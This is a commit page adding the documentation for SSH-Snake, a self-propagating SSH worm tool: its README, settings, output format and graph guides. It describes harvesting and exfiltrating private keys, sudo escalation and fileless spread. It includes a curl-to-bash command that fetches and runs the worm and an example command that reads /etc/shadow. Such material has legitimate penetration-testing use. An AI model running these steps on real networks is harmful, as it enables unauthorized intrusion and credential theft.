1
0
forked from extern/SSH-Snake

Release. 1.0.

This commit is contained in:
Joshua Rogers 2024-01-05 04:28:05 +07:00
parent 2788c4d915
commit 61bf00fd1e
15 changed files with 5938 additions and 0 deletions

16
COPYING Normal file
View File

@ -0,0 +1,16 @@
SSH-Snake: Automated SSH-Based Network Traversal
Copyright (C) 2024 Joshua Rogers <https://joshua.hu/>
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.

40
GRAPHICS.md Normal file
View File

@ -0,0 +1,40 @@
# Visualizing System Relationships
SSH-Snake's output logs can be used to create visualizations of the network it has traversed. For example, using the python script _generate-graph.py_ provided in [tools/](tools/), we can generate a PNG visualizing the network:
![A graph visualizing the relation between systems using SSH](tools/SSH-Snake-dot-circo.png)
In [this image](tools/SSH-Snake-dot-circo.png), the blue nodes indicate a destination that can connect to itself (meaning a key on the system is also trusted by `authorized_keys`). The red edges/lines indicate that the connection from one system to another is bi-directional, meaning system A can SSH to system B and system B can SSH to system A. Note that this image includes usernames in the system labels.
This graph was created using the command:
```bash
python3 tools/generate-graph.py --with-users --file SSHSnake.log --format dot
circo -Tpng -Goverlap=false -Gsplines=true -Gconcentrate=true -Gnodesep=0.1 -Goverlap=false SSHSnake_dot_file.dot -o SSH-Snake-dot-circo.png
```
which first generates a [dot file](https://en.wikipedia.org/wiki/DOT_(graph_description_language)), then uses [graphviz' circo](https://graphviz.org/docs/layouts/circo/) to generate a PNG.
---
An alternative visualization can be created in [gexf format](https://gexf.net/), and then [Gephi](https://gephi.org/users/download/) can be used to create another meaningful image:
![A graph visualizing the relation between systems using SSH](tools/SSH-Snake-Gephi.svg)
In [this image](tools/SSH-Snake-Gephi.svg), the green nodes indicate a _host_ (without a username) that can connect to itself, and green lines/edges indicate that the connection is bi-directional. The gray host in the top right corner is the host that the script was initially executed on. Note that the hosts do __not__ include the usernames of the system, and this visualization indicates system to system connections, rather than destination (`user@host`) to destination (`user@host`) connections.
This graph was created using the command (note the lack of `--with-users`):
```bash
python3 tools/generate-graph.py --file SSHSnake.log --format gexf
```
Using Gephi, the final image was generated.
---
Cytoscape is another tool that can be used to generate interesting graphs. Using the same gexf format output file, you can install the gexf-app app for Cytoscape and import the file.
|![A graph visualizing the relation between systems using SSH](tools/SSH-Snake-CytoScape.svg)The blue nodes indicate the _destination_ can connect to itself (user@host<-->user@host). The red edges indicate that the connection is bi-directional (user1@host1<-->user2@host2).|
Not only can you create an image like this in Cytoscape (using the "yFiles hierarchical Layout"), you can also create webpages like this one: [https://megamansec.github.io/SSH-Snake/](https://megamansec.github.io/SSH-Snake/#/).

94
OUTPUT.md Normal file
View File

@ -0,0 +1,94 @@
SSH-Snake's approach to output is quite simple and consists of the following:
- Print where we are,
- Print any keys found,
- Print any exceptional information.
A normal output will look something like this:
```
(1) [1704020277]jrogers@10.128.0.25
(2) [1704020277]jrogers@(10.128.0.25)
(3) [1704020277]jrogers@10.128.0.25: Discovered usable private key in [/home/jrogers/.ssh/id_rsa]
(4) [1704020277]jrogers@10.128.0.25: EXTERNAL_MSG: KEY[/home/jrogers/.ssh/id_rsa]: LS0tLS1CRUdJTiBPUE[...]
(5) [1704020278]jrogers@10.128.0.25: Discovered unusable private key in [/home/jrogers/.ssh/protected]
(6) [1704020278]jrogers@10.128.0.25: EXTERNAL_MSG: KEY[/home/jrogers/.ssh/protected]: LS0tLS1CRUdJTiB[...]
(7) [1704020278]jrogers@10.128.0.25: EXTERNAL_MSG: INFO: Beginning with 12 dests and 1 keys
(8) [1704020279] jrogers@10.128.0.25[!/home/jrogers/.ssh/id_rsa]->jrogers@10.128.0.25
(9) [1704020279] jrogers@(10.128.0.25)[!/home/jrogers/.ssh/id_rsa]->jrogers@(10.128.0.25)
(10) [1704020279] jrogers@10.128.0.25[!/home/jrogers/.ssh/id_rsa]->jrogers@10.128.0.27
(11) [1704020279] jrogers@(10.128.0.25)[!/home/jrogers/.ssh/id_rsa]->jrogers@(10.128.0.27)
(12) [1704020277] jrogers@10.128.0.25[!/home/jrogers/.ssh/id_rsa]->jrogers@10.128.0.27: Discovered usable private key in [/home/jrogers/.ssh/id_rsa]
....
```
Every line is prepended with the UNIX epoch time.
Going through each line one by one, the purpose of each line is explained respectively:
1. The current destination (`user@host`) in the so-called "hosts chain" format. This destination address is the exact address that was used to `ssh` to (`ssh -i key user@host`).
2. The current destination (`user@(host)`) in the so-called "hostnames chain" format. This format identifies a system based on all of its addresses. For example, a system with three IPv4 addresses corresponds to `user@(ip1:ip2:ip3)` where each `ip` is the IPv4 address. This format of destination is a clear indicator of the system and is used to ensure scanning of duplicate systems does not occur (such that connecting to a secondary address does not trigger a duplicate scan for a system that has already been scanned).
3. A private key that can be used (no passphrase or permission issue) has been discovered in `/home/jrogers/.ssh/id_rsa`.
4. The contents of the private key discovered in `/home/jrogers/.ssh/id_rsa` in base64 format.
5. A private key that cannot be used (either a passphrase or some type of permission issue) has been discovered in `/home/jrogers/.ssh/protected`.
6. The contents of the private key discovered in `/home/jrogers/.ssh/protected` in base64 format.
7. 1 usable key and 12 destination addresses have been discovered on the system. The script will now try to connect to those 12 addresses using the 1 key.
8. `jrogers@10.128.0.25` has connected to `jrogers@10.128.0.25` using the `/home/jrogers/.ssh/id_rsa` key. The `!` at the beginning of the key location indicates that `sudo` was used.
9. The "hostnames chain" format of the above.
10. `jrogers@10.128.0.25` has connected to `jrogers@10.128.0.27` using the `/home/jrogers/.ssh/id_rsa` key.
11. The "hostnames chain" format of the above.
12. A private key that can be used has been discovered in `/home/jrogers/.ssh/id_rsa`.
Again: each of these lines are indicative of _normal_ output.
---
There are some exceptional cases which are related to error conditions and the [custom_cmds option](/SETTINGS.md#custom_cmds):
Examples of these exception cases are listed below:
```
(1) [1704020279] jrogers@10.128.0.25[/home/jrogers/.ssh/id_rsa]->git@20.205.243.166 [GitHub]
(2) [1704020279] jrogers@10.128.0.25[/home/jrogers/.ssh/id_rsa]->jrogers@10.128.50.50 [GitLab]
(3) [1704020279] jrogers@10.128.0.25[/home/jrogers/.ssh/id_rsa]->jrogers@10.128.0.30 [NoLogin]
(4) [1704020279] jrogers@10.128.0.25[/home/jrogers/.ssh/id_rsa]->jrogers@10.128.0.30 [OoM]
(5) [1704020279] jrogers@10.128.0.25[/home/jrogers/.ssh/id_rsa]->jrogers@10.128.0.30 [ConnErr]
(6) [1704020279] jrogers@10.128.0.25[/home/jrogers/.ssh/id_rsa]->jrogers@10.128.0.30 [fail,aws,ubuntu]
(7) [1704020279] jrogers@10.128.0.25[/home/jrogers/.ssh/id_rsa]->jrogers@10.128.0.30 [fail,cmd,awk]
(8) [1704020279] jrogers@10.128.0.25[/home/jrogers/.ssh/id_rsa]->jrogers@10.128.0.30 [ARGLIMIT:1048576, abcdef...]
(9) [1704020279] jrogers@10.128.0.25[/home/jrogers/.ssh/id_rsa]->jrogers@10.128.0.30: EXTERNAL_MSG: CMD[uname]: abcdef..."
(10) [1704020279] jrogers@10.128.0.25[/home/jrogers/.ssh/id_rsa]->jrogers@10.128.0.30 [line]: abcdef..
```
Each of these indicate:
1. The `/home/jrogers/.ssh/id_rsa` key can be used to SSH to `git@20.205.243.166`, which is a server identifying itself as GitHub.
2. The `/home/jrogers/.ssh/id_rsa` key can be used to SSH to `jrogers@10.128.50.50`, which is a GitLab server.
3. The `/home/jrogers/.ssh/id_rsa` key can be used to SSH to `jrogers@10.128.0.30`, but the user is restricted to `/usr/sbin/nologin` (meaning the SSH connection is likely used only for proxying).
4. The destination `jrogers@10.128.0.30` has run of memory during script execution.
5. The destination `jrogers@10.128.0.30` has unexpectedly disconnected.
6. The destination `jrogers@10.128.0.30` is an AWS EC2 instance which accepts the `/home/jrogers/.ssh/id_rsa` key but does not allow SSH to the `jrogers` user: instead, you must SSH to the `ubuntu` user. If the [retry_count option](SETTINGS.md#retry_count) is greater than 0, the script will automatically attempt to SSH to `ubuntu@10.128.0.30`.
7. The destination `jrogers@10.128.0.30` accepts the key but the script cannot run because the `awk` program is not installed on the system.
8. Either `jrogers@10.128.0.25` or `jrogers@10.128.0.30` has experienced a fatal error: [the argument limit length](https://unix.stackexchange.com/questions/120642/what-defines-the-maximum-size-for-a-command-single-argument) has been reached, which means that the script cannot be passed via an argument. The argument limit is `1048576`. The so-called `ignore_list` (containing all of the destinations already scanned and currently being scanned) is also printed in base64 format.
9. The custom command `uname` has been run on `jrogers@10.128.0.30` due to it being set in the `custom_cmds` option, and the output of the command (including stderr) is printed in base64 format.
10. The destination `jrogers@10.128.0.30` has printed an unexpected output. The output is printed after `[line]: `. Alternatively, it may also mean that `ssh` on `jrogers@10.128.0.25` has printed an unexpected output while using `ssh -i key jrogers@10.128.0.30`.
---
A few more procedural lines are also printed:
```
(1) [1702897342] jrogers@10.128.0.30: EXTERNAL_MSG: INFO: Trying again with 2 dests and 4 keys (attempts left: 0)
(2) 12 destinations (from 10 unique servers) added to interesting_dests.
(3) Unique private keys discovered: 8
(4) Unique shell accounts accessed: 10
(5) Unique servers accessed: 5
```
1. Either 2 recoverable errors have been encountered such that the destinations where the errors occurs will be tried again, or the [use_find_from_ignore_list option](SETTINGS.md#use_find_from_ignore_list) has been enabled and the script is attempting to SSH into any destinations from the ignore list (and thus the new destinations are being tried).
2. The [use_retry_all_dests options](SETTINGS.md#use_retry_all_dests) has been enabled and the script is going to re-run the scan completely with 12 destinations, corresponding to 10 unique systems (user1@host and user2@host are one system).
3. At the complete end of the scan, this identifies the total amount of private keys discovered during the scan.
4. At the complete end of the scan, this identifies the total amount of destinations (`user@host`) that have been accessed.
5. At the complete end of the scan, this identifies the total amount of systems (based on the hostnames chain format) that have been accessed.

143
README.md Normal file
View File

@ -0,0 +1,143 @@
# SSH-Snake: Automated SSH-Based Network Traversal
SSH-Snake is a powerful tool designed to perform automatic network traversal using SSH private keys discovered on systems, with the objective of creating a comprehensive map of a network and its dependencies to identify the extent that a network can be compromised using SSH and SSH private keys starting from a particular system.
SSH-Snake can automatically reveal the relationship between systems which are connected via SSH, which would normally take a tremendous amount of time and effort to perform manually.
In other words, SSH-Snake performs the following tasks automatically and recursively:
1. On the current system, find any SSH private keys,
2. On the current system, find any hosts or destinations (`user@host`) that the private keys may be accepted,
3. Attempt to SSH into all of the discovered destinations using all of the private keys discovered,
4. If a destination is connected to using a discovered private key, repeats steps #1 - #4 on that system.
It's completely self-replicating and self-propagating -- and completely fileless. In many ways, SSH-Snake is actually a [worm](https://en.wikipedia.org/wiki/Computer_worm): It replicates itself and spreads itself from one system to another as much as it can.
Instead of manually jumping between systems with SSH keys like it's a Super Mario game, let SSH-Snake do the work for you.
An in-depth look at how this script actually works, technical details, interesting discoveries, design decisions, benchmarking, and lessons learnt, check out [this blog post](https://joshua.hu/ssh-snake-ssh-network-traversal-discover-ssh-private-keys-network-graph).
# Screenshots
|![](tools/SSH-Snake-Screenshot.png)A reduced screenshot from the output of SSH-Snake in a very small network.|
|:-:|
---
|![A graph visualizing the relation between systems using SSH](tools/SSH-Snake-CytoScape.svg)The blue nodes indicate the _destination_ can connect to itself (user@host<-->user@host). The red edges indicate that the connection is bi-directional (user1@host1<-->user2@host2).|
|:-:|
---
|![A graph visualizing the relation between systems using SSH](tools/SSH-Snake-Gephi.svg)The green nodes indicate a _host_ (without a username) that can connect to itself (host1<-->host1). The green edges indicate that the connection is bi-directional (host1<-->host2). The gray host in the top right corner is the host that the script was initially executed on.|
|:-:|
---
|![A graph visualizing the relation between systems using SSH](tools/SSH-Snake-dot-circo.png)The blue nodes indicate the _destination_ can connect to itself (user@host<-->user@host). The red edges indicate that the connection is bi-directional (user1@host1<-->user2@host2).|
|:-:|
# Using and Running SSH-Snake
SSH-Snake can either be downloaded or piped into bash:
```bash
wget https://raw.githubusercontent.com/MegaManSec/SSH-Snake/main/Snake.nocomments.sh
stdbuf -o0 bash ./Snake
```
or
```bash
curl https://raw.githubusercontent.com/MegaManSec/SSH-Snake/main/Snake.nocomments.sh | stdbuf -o0 bash
```
# About SSH-Snake
SSH-Snake seamlessly emulates what a human adversary would do to discover SSH private keys and destinations that they can be used for. Written entirely in Bash, it operates with a minimal set of dependencies commonly available on major Linux systems: `bash`, `ssh`, `getconf`, `coreutils`, `getent`, `awk`, `sort`, `grep`, `tr`, `find`, and `cat`. `sudo`, `hostname`, `ip`, and `xargs` may also be used, but they are not required (and the script gracefully handles cases where they are not present). If a system is discovered without any of the required packages, it gracefully fails, alerting the user that the scan could not continue on that system because a required package was missing (but continues from the previous system).
SSH-Snake is completely fileless: after the user runs the script, it is passed to destinations' bash via stdin and bash arguments (via SSH). No material evidence of the script exists on any of the systems scanned: the only evidence of the script running is in the process tree, and the substantial amount of invalid SSH attempts which will inevitably occur.
SSH-Snake takes a [depth-first approach](https://en.wikipedia.org/wiki/Depth-first_search) to discovery: once it connects to one system, it tries to connect further from that system before going backwards.
The name SSH-Snake comes from the fact that the output of the script looks like a snake slithering up and down the network. However unlike the game Snake, SSH-Snake will not die when it bites its own tail (connects to a systems it has already scanned or is currently scanning): it will simply print how it connected there as normal, but return and not re-scan the destination (in order to avoid infinite recursion).
# Features
- Recursively SSH from one system to another using local SSH private keys,
- Fileless traversal and propogation/replication of the SSH-Snake script using only stdin and bash arguments to remote systems,
- Automatic elevation of privileges to root using sudo if possible,
- Discover SSH private key files from `.bash_history` entries,
- Discover SSH private keys from commonly used files and folders,
- Exfiltration SSH private keys as output of the script,
- Configurable custom command execution on each system,
- Plug-and-play modular system to discover private keys and systems,
- Detect hosts from IP ranges, last logins, known hosts, SSH config files, and more,
- Ability to detect when a system has already been scanned or is in the process of being scanned such that a network like A->B->C is able to also discover C->A but does not regress to A->B->C-A->B->C->A->B->....,
- Ability to generate graphical visulizations of a network from the output of the script,
- ... and more.
# Settings
SSH-Snake comes with some general settings that can be configured. These settings are documented in [SETTINGS.md#general-settings](SETTINGS.md#general-settings).
SSH-Snake comes with a variety configurable/plug-and-play strategies (functions) which can be used to discover SSH private keys on a system and discover hosts and destinations to attempt to connect to. Sane defaults have been provided, however if you want to perform a scan as thoroughly as possible, then enabling more discovery techniques can help. If a scan is taking a long time, disabling some discovery techniques can help. With the exception of one strategy (`find_ssh_keys`), each of these strategies can be toggled off/on. These are documented in [SETTINGS.md#configurable-discovery-strategies](SETTINGS.md#configurable-discovery-strategies).
# Understanding Output
The raw output of SSH-Snake contains a mix of infomation about discovered private keys, destinations, and error messages.
A detailed explanation on the full output of SSH-Snake can be found in [OUTPUT.md](OUTPUT.md).
# Visualizing System Relationships
The output of SSH-Snake can be used to create graph visualizations of the network the script traverses.
A detailed explanation of how to create and interpret images/visualizations from the output of SSH-Snake can be found in [GRAPHICS.md](GRAPHICS.md).
# Other Tools
In addition to the ability to create visualizations of the network that SSH-Snake traverses, three other tools are provided. Namely:
1. `forward-lookup-host.py`: Given a source host or destination, determine all of the systems that can be accessed either directly or indirectly (i.e. through a tertiary system).
2. `reverse-lookup-host.py`: Given a destination host or destination, determine all of the systems that can either directly or indirectly access it.
3. `shortest-path-create-chain.py`: Given host or destination A and B, determine the shortest path connecting the two.
The latter tool also generates a command that can be used to connect from destination A to destination B. For example:
```
$ python3 tools/shortest-path-create-chain.py --file output.log --src 'jrogers@10.2.3.4' --dest 'root@10.25.49.1'
Shortest path from jrogers@10.2.3.4 to root@10.25.49.1: jrogers@10.2.3.4->user@10.44.39.21->user@10.19.29.54->root@10.25.49.1
[..]
ssh -i "/home/jrogers/.ssh/key" user@10.44.39.21 'sudo ssh -i "/root/.ssh/id_rsa" user@10.19.29.54 'ssh -i "/tmp/key" root@10.25.49.1''
```
# Snake.sh vs Snake.nocomments.sh
Since the script is quite large, loading the script into a here-document (which it does automatically) [causes bash to write to a temporary file](https://joshua.hu/more-fun-with-bash-ssh-and-ssh-keygen-version-differences) (as it is greater than 65535-bytes).
To cut down on the size such that it remains 100% fileless, Snake.nocomments.sh has a version with all comments, unnecessary white-spaces, and blank lines removed. This cuts the file's size down such that the temporary file is not created by bash.
# Bugs / Issues
If you encounter any bugs or issues related to the script, please report them as a GitHub issue. Please include your configuration setings.
I am particually interested in any interesting `[line]` outputs associated with errors that haven't been caught by the script.
# Limitations
- IPv4 Only: Like all of the best programs, the script does not support IPv6. I can't imagine there will be support for this anytime soon.
- Port 22 Only: There is a general assumption that SSH is running on port 22.
- GNU coreutils: The script relies heavily on GNU coreutils. I have not determined how much (if any) GNU-ism is used in the script.
- `find ... -readable ...` is used in the script in multiple places. The `-readable` flag is not supported on all versions of `find(1)`.

330
SETTINGS.md Normal file
View File

@ -0,0 +1,330 @@
# General Settings
### ignore_user
Default: 0.
If set to 1, the script will consider a system already scanned when one user has been accessed. For example, if `user1@host` has been scanned and the script makes its way to `user2@host` somehow, a repeated scan will not occur. This may be useful in an environment where sudo is accessible by every user (because `user1@host` can already access the keys that `user2@host` can access).
## use_sudo
Default: 1
If set to 1, the script will attempt to use `sudo` to elevate its privileges. If it is successful, the script runs as root; if it isn't, the script runs as the normal user.
## ssh_timeout
Default: 3
The connection timeout (in seconds) for SSH. See `ssh_config(5)`'s _ConnectTimeout_.
## retry_count
Default: 3
In some cases, a __recoverable__ error may be encountered while using SSH. This number corresponds to the maximum amount of times a destination with a recoverable error should be tried again. It is advised to be at least 1.
## ignored_users
Default: ()
A list of usernames that are always ignored when attempting to SSH to another system. For example, if "root" is ignored, there will be no attempts to SSH into the root user of any host.
## ignored_hosts
Default: ()
A list of hosts (ip addresses or hostnames) that are always ignored/skipped when attempting to SSH to another system. It is generally safest to specify the hostname in ip address form.
## ignored_dests
Default: ()
A list of destinations in the form of `username@hostname` that are always ignored. It is generally safest to specify the hostname in ip address form.
## ignored_key_files
Default: ("\*badcert.pem\*" "\*badkey.pem\*")
A list of locations that are ignored when searching for SSH private keys. This setting supports globbing/wildcards using the standard asterisk as in any other bash script. For example, to reject just the filename "file.name", you would include "\*/file.name" in the list. Also note that for example, "/dir/\*/file" will also match "/dir/dir2/dir3/file".
## custom_cmds
Default: ()
A list of commands that should be run when the script has been initialized on each system. The output of these commands are printed as base64 strings (including stderr). Note: these commands will only ever run once as they are executed right after checking that the system has not already been scanned.
This list also supports sudo (if available), and can be used by using `${s}` as a literal. For example, `custom_cmds=('${s} cat /etc/shadow')`. If `${s}` is not specified, the command will __not__ run as sudo even if `use_sudo=1`.
---
# Configurable Discovery Strategies
SSH-Snake comes with various configurable strategies (functions) which can be used to discover SSH private keys on a system and discover hosts and destinations to attempt to connect to. Sane defaults have been provided, however if you want to perform a scan as thoroughly as possible, then enabling more discovery techniques can help. With the exception of one strategy (`find_ssh_keys`), each of these strategies can be toggled off/on. Below are details of each of the strategies.
Detailed explanations of how each of these strategies work can be found in [this blog post](https://joshua.hu/more-fun-with-bash-ssh-and-ssh-keygen-version-differences).
## SSH Private Key Discovery Strategies
The following strategies are used to discover any private keys on the system. We use these strategies over, say, checking every single file on the system, because it would be prohibitively expensive to open and parse every file on the system. Instead, the following strategies can be used to provide hints towards the location of private keys.
### find_ssh_keys
Checks every readable file within the `.ssh/` folder in every home folder of the system (identified using `getent passwd` and `/home/*/`. This strategy is not optional.
### scan_paths / scan_paths_depth
Using the `scan_paths` and `scan_paths_depth` user-setting, the script uses `find(1)` to search each of the locations specified by `scan_paths` for keys. A maximum depth for searching directories is specified using `scan_paths_depth` (equivalent to `find $location -maxdepth $scan_paths_depth`). Multiple locations may be specified.
For example, `scan_paths=("/root/" "/var/*/")` and `scan_paths_depth=3` will look for look for keys in `/root/*/*/*` and `/var/*/*/*/*`.
If `scan_paths` is left empty (`scan_paths=()`) or `scan_paths_depth` is less than 1, this strategy does nothing. The default value is () and 3 respectively.
## SSH Host Discovery Strategies
The following strategies are used to discover potential _hosts_ which the script will SSH to. _Hosts_ correspond to either a hostname or an ip address: they do not constitute a destination that SSH will use in of itself, since SSH is missing a username that corresponds to the host.
Since hosts do not correspond to destinations, it is necessary for hosts to somehow be combined with usernames to actually be useful. Therefore, all "host discovery strategies" are disabled unless either:
1. `use_combinate_interesting_users_hosts` is enabled and there is at least one entry in _interesting_users_,
2. `use_combinate_users_hosts_aggressive` is enabled.
`use_combinate_interesting_users_hosts` will combine all of the _interesting_users_ with all of the hosts discovered to create destinations, and `use_combinate_users_hosts_aggressive` will combine all users discovered with all of the hosts discovered to creation destinations. That process is described in [combinatorial_destination_discovery_strategies](combinatorial-destination-discovery-strategies).
### use_find_from_hosts
By parsing `/etc/hosts` (or more correctly, running `getent ahostsv4`), extra hosts may be discovered.
This strategy may be toggled off/on with 0/1. The default value is 1.
### use_find_arp_neighbours
This function adds all of the neighbour hosts from the arp table to the list of hosts.
This strategy may be toggled off/on with 0/1. The default value is 1.
### use_find_d_block
This function takes the current host's address(es) and adds the all d-block addresses into the list of hosts. For example, if the current host has the address 10.0.0.5, this function will add the 10.0.0.0-10.0.0.255 hosts.
This strategy may be toggled off/on with 0/1. The default value is 0.
## SSH Destination Discovery Strategies
In the context of this script, a "destination" (or "dest") means a username and host combination; the destination that `ssh` will attempt to connect to (`ssh user@host`). Without destinations, there is nowhere for the script to attempt to SSH to. These strategies are used to discover potential destinations that will be SSH'd to.
Note that for each of these destinations, the username is also loaded into a collection of usernames, and the hosts are loaded into a collection of hosts. If `use_combinate_users_hosts_aggressive` or `use_combinate_interesting_users_hosts` are enabled, they will use these usernames and hosts to create destinations.
### use_find_from_authorized_keys
`authorized_keys` files may include ip-based restrictions for key usage such as `from="10.0.0.1,10.2.3.3" ssh-rsa ...`.
This strategy adds any hosts discovered in the `from` directive of `authorized_keys` file to our list of destinations using `$user@$host`, where `$user` is the username corresponding to the location where the `authorized_keys` file was found.
This strategy may be toggled off/on with 0/1. The default value is 1.
### use_find_from_last
This strategy checks the last logins to the system by using `last`, and extracts the addresses the logins came from. The strategy then naively assumes that the destination username of that SSH access also corresponds to the source username, adding the `$destination_username@$source_address` to the list of destinations.
This strategy may be toggled off/on with 0/1. The default value is 1.
### use_find_from_prev_dest
This strategy takes the destination that we are connecting _from_ and adds it to the list of destinations.
For example, consider the chain `user@system_a->user@system_b->user@system_c`. Using this strategy, `user@system_b` will try to connect to `user@system_a`. `user@system_c` will then try to connect to `user@system_b`.
This strategy may be toggled off/on with 0/1. The default value is 1.
### use_find_from_known_hosts
`known_hosts` files contain a list of the hosts a user has previously SSH'd into, and can be a wealth of knowledge for discovering hosts. For example: `# 2048 MD5:32:41:b4:e7:3e:d7:ee:a4:3a:c3:a8:44:40:45:16:04 10.0.0.1 (RSA)`.
This function extracts the `10.0.0.1` host. Likewise, we add `$user@$host` to the list of destinations, where `$user` is the username corresponding to the location where the `known_hosts` file was found.
Incidentally, this function also extracts users, hosts, and destinations from `authorized_keys` files which _may_ share a similar format like `# 2048 MD5:62:38:9a:f0:6d:e7:57:57:25:09:71:4d:c7:bb:4b:b0 root@system (RSA)`. This function will extract `root@system`.
This strategy may be toggled off/on with 0/1. The default value is 1.
### use_find_from_hashed_known_hosts
`known_hosts` files contain a list of hosts that a user has previously connected to with SSH. However, SSH offers an option _HashKnownHosts_ which is used to hash the entries of the hosts in this file such that they cannot easily be read. This is the default on most Debian-based operating systems.
For example, a user that has has _HashKnownHosts_ enabled when running `ssh 192.168.1.1` will have an entry in their `known_hosts` file similar to this: `|1|e77JRypO4qWElXpIaBGiFLOJBXg=|HBu6N6IGFeOz5wt0HFXz9/hp/wY= ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIClRF2LjL1EJNfEYAKpr9rENgZVFlH7jtEPla0x3hakB`
Here, `|1|e77JRypO4qWElXpIaBGiFLOJBXg=|HBu6N6IGFeOz5wt0HFXz9/hp/wY=` corresponds to a hash of the host `192.168.1.1`. Hashing is a one-way procedure, however it is possible to brute-force this hash using `ssh-keygen`:
```
$ ssh-keygen -F 192.168.1.1
# Host 192.168.1.1 found: line 58
|1|96KUSpeaZrkYrbQhhjFLF/jJ15w=|xMX7qNROy8SwPZK1zEjrlEeYU24= ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIClRF2LjL1EJNfEYAKpr9rENgZVFlH7jtEPla0x3hakB
```
When `use_find_from_hashed_known_hosts` is enabled, we attempt to brute-force all of the ip addresses of the c and d blocks of the current system. For example, if we are currently on `user@85.82.81.80` and we discover hashed known hosts, we will attempt to discover them by checking whether the hash corresponds to any of the hosts `85.82.0.0-85.82.255.255`. If any of the hashes are cracked, we add `$user@$host` to the list of destinations, where `$user` is the username corresponding to the location where the `known_hosts` file was found.
Note that this strategy is _extremely_ slow and for each `known_hosts` file may take many minutes. Some performance testing yielded the following time taken per `known_hosts` file:
```
# xargs available: 2m42.820s
# no xargs available: 7m52.145s
# xargs available using sudo: 3m56.659s
# no args available using sudo for-loop: 15m36.738s
```
Unlike the rest of the script, if `use_sudo` is enabled, sudo will not actually be used unless it is completely necessary (i.e. the `known_hosts` file cannot be read by the current user).
This strategy may be toggled off/on with 0/1. The default value is 0.
### use_find_from_ignore_list
At any point in time, the so-called "ignore list" contains a list of destinations which have previously been successfully accessed and scanned. This strategy takes this list and adds all of those destinations to the list of destinations to connect to. There are two different ways this strategy can be used.
When `use_find_from_ignore_list=1`, the script will parse the ignore list when the script _starts_ and connect to any destinations which have _previously_ been connected to.
When `use_find_from_ignore_list=2`, the script will do the same as above, but also parse the ignore list when the script _finishes_, re-trying with any newly added destinations on the ignore list.
`use_find_from_ignore_list=0` disables this function completely. The default value is 0.
### use_retry_all_dests
The 2nd option from the `use_find_from_ignore_list` strategy is slightly flawed. Consider the following:
```
A->B->C ; Normal scan
A->D->C ; A->D discovered naturally, D->C discovered using use_find_from_ignore_list=1 or use_find_from_ignore_list=2.
A->C ; A->C discovered using use_find_from_ignore_list=2.
```
It is possible that C->D could also exist. However, this link will not be discovered because destination D was first discovered after C. Since C has already been scanned, the script will not scan it again, losing the valuable data of C->D.
In order to discover every possible combination of connected systems, `use_retry_all_hosts` takes a different approach. Once the whole scan is completely finished (i.e. the script the user is running), the scan simply repeats itself but adds all of the previously discovered destinations to `interesting_dests`, ensuring that every single destination will try every other destination.
On the re-run, we do NOT attempt to discover any NEW users/hosts/destinations, only discover keys. This means that although new chains may be discovered, no new destinations will be discovered. In fact, the function to add new users, hosts, and destinations is noop'd during the re-run, so it is not possible for new destinations to be discovered at all.
This strategy may be toggled off/on with 0/1. The default value is 1.
## Both SSH Private Key and Destination Discovery Strategies
Some of these strategies can be used to find both private keys and destinations. Both of these strategies are generally advised to be kept enabled, as they are the most natural resource for finding how SSH has been used on the system (and therefore where we can find keys and where they connect to easily).
### use_find_from_bash_history
`.bash_history` files are a jackpot/wealth of information when it comes to SSH private keys and especially destinations. By parsing `.bash_history` files, we can see exactly how users are utilizing the `ssh`, `scp`, and `rsync` binaries, and determine where they have been connecting to and with which keys.
Parsing each bash_history line, we look at all calls to `ssh`, `scp`, and `rsync` and extract the following:
1. Usernames,
2. Hosts,
3. Destinations,
4. Key Files.
For `ssh`, `scp`, and `rsync`, we extract any destinations in the form `user@host`.
For `ssh` and `scp` specifically, we parse and extract:
1. The location of any key files which have been passed with the `-i` parameter: `-i /absolute/key_file`, `-i ~/expanded/key_file`, or `-i relative/key_file`. In the middle case, we expand the `~` to the home directory of the user corresponding to where the `.bash_history` file was found. In the latter case, we also assume the location corresponds to the relative location based on the home directory of the user corresponding to the `.bash_history file`. Likewise, all cases `-i/absolute/key_file`, `-i~/expanded/key_file`, and `-irelative/key_file` are also extracted.
2. Any username of any remote destinations that have been passed with the `-l` parameter (see `man(1)`).
3. Any hosts of any remote destination
4. Any destinations.
For example, this strategy is able to extract the following (_note: this list is not exhaustive and these are just some examples. the `use_find_from_bash_history` function is complicated and can hopefully handle all legitimate usage of ssh and scp_):
```
ssh user@host ; extract user@host as a destination
scp file user@host:~/ ; extract user@host as a destination
scp user@host:~/file ./ ; extract user@host as a destination
rsync -a * user@host:~/ ; extract user@host as a destination
scp file host:~/ ; extract host, and assume $user@host as a destination
scp host:~/file ./ ; extract host, and assume $user@host as a destination
ssh -i.ssh/id_rsa host ; extract .ssh/id_rsa and host, assume $user@host as a destination
ssh -i .ssh/id_rsa host ; extract .ssh/id_rsa and host, assume $user@host as a destination
ssh -luser host ; extract user, extract user@host as a destination
ssh -i /tmp/key host -luser ps ; extract /tmp/key and user@host as a destination
ssh host -v 'bash -c ls' ; extract host, assume $user@host as a destination
sssh -D 9000 localhost -luser ; extract user@localhost as a destination
ssh -i key_file -v -luser host ps ; extract key_file and extract user@host as a destination
```
This strategy may be toggled off/on with 0/1. The default value is 1.
### use_find_from_ssh_config
By parsing every readable file in`.ssh/` folders, we may encounter `ssh_config` files. These files generally look something like this:
```
Host example.com
Hostname example.com
User your_username
IdentityFile ~/.ssh/id_rsa
```
We parse this file and extract the `IdentityFile` for the location of a private key. We also extract the `Host`, `Hostname`, and `User`.
Unfortunately at the moment, this function is unable to generate individual destinations as it naively parses the file line-by-line, rather than block-by-block. Future versions will be able to identify the destination that the block corresponds to.
This strategy may be toggled off/on with 0/1. The default value is 1.
## Combinatorial Destination Discovery Strategies
Each time a system is scanned, various individual usernames, hosts, and destinations will be discovered which can point towards other destinations. However, if usernames and hosts are discovered in a context that doesn't necessarily result in a definitive full destination being discovered, this data is effectively unused. That's where combinatorial destination discovery strategies come in.
### combinate_interesting_users_hosts
This strategy takes pre-defined usernames, hosts, and destinations, and combinates them with their respective others to form destinations.
All `interesting_users` will be combined with all of the hosts that are discovered on the system to form destinations.
